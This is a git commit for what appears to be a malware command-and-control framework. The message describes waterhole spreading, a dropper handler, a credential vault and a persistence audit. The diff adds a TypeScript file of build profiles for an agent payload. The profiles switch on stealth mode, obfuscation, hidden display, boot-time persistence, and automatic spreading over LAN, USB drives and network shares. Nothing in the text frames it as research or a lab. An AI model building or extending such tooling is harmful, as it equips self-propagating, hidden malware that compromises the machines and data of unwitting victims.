feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
AetherForge
2026-06-04 21:53:31 -07:00
parent 8466c7aa9b
commit 1551bd5dad
138 changed files with 7523 additions and 489 deletions

View File

@@ -0,0 +1,88 @@
import type { BuildRequest } from '../types';
export type SpreadProfileId = 'web_drop' | 'desktop_fusion' | 'lan_kindling' | 'crucible_ops';
export interface SpreadProfile {
id: SpreadProfileId;
label: string;
color: string;
blurb: string;
apply: (form: BuildRequest) => BuildRequest;
}
export const SPREAD_PROFILES: SpreadProfile[] = [
{
id: 'web_drop',
label: 'Web Drop',
color: '#3dd6c6',
blurb: 'Headless Linux — small, systemd, no screenshot, minimal spread',
apply: (f) => ({
...f,
target_os: 'linux',
target_arch: 'amd64',
spread_kit: false,
fusion_enabled: false,
stealth_mode: true,
file_logging: false,
remote_aggressive: false,
auto_spread: false,
usb_spread: false,
share_spread: false,
run_as: 'service',
autostart_mode: 'boot_task',
}),
},
{
id: 'desktop_fusion',
label: 'Desktop Fusion',
color: '#f0abfc',
blurb: 'Big stealth fusion — garble on, visible UI off',
apply: (f) => ({
...f,
target_os: 'universal',
target_arch: 'all',
spread_kit: false,
fusion_enabled: true,
stealth_mode: true,
display_mode: 'background',
obfuscate: true,
remote_aggressive: false,
auto_spread: false,
}),
},
{
id: 'lan_kindling',
label: 'LAN Kindling',
color: '#ff6b2c',
blurb: 'Universal spread kit + autospread for LAN/USB',
apply: (f) => ({
...f,
target_os: 'universal',
target_arch: 'all',
spread_kit: true,
fusion_enabled: false,
stealth_mode: true,
auto_spread: true,
usb_spread: true,
share_spread: true,
remote_aggressive: false,
}),
},
{
id: 'crucible_ops',
label: 'Crucible Ops',
color: '#c9a227',
blurb: 'Aggressive remote ops enabled for Crucible',
apply: (f) => ({
...f,
remote_aggressive: true,
hole_punch: true,
auto_spread: false,
}),
},
];
export function applySpreadProfile(form: BuildRequest, id: SpreadProfileId): BuildRequest {
const profile = SPREAD_PROFILES.find((p) => p.id === id);
return profile ? profile.apply(form) : form;
}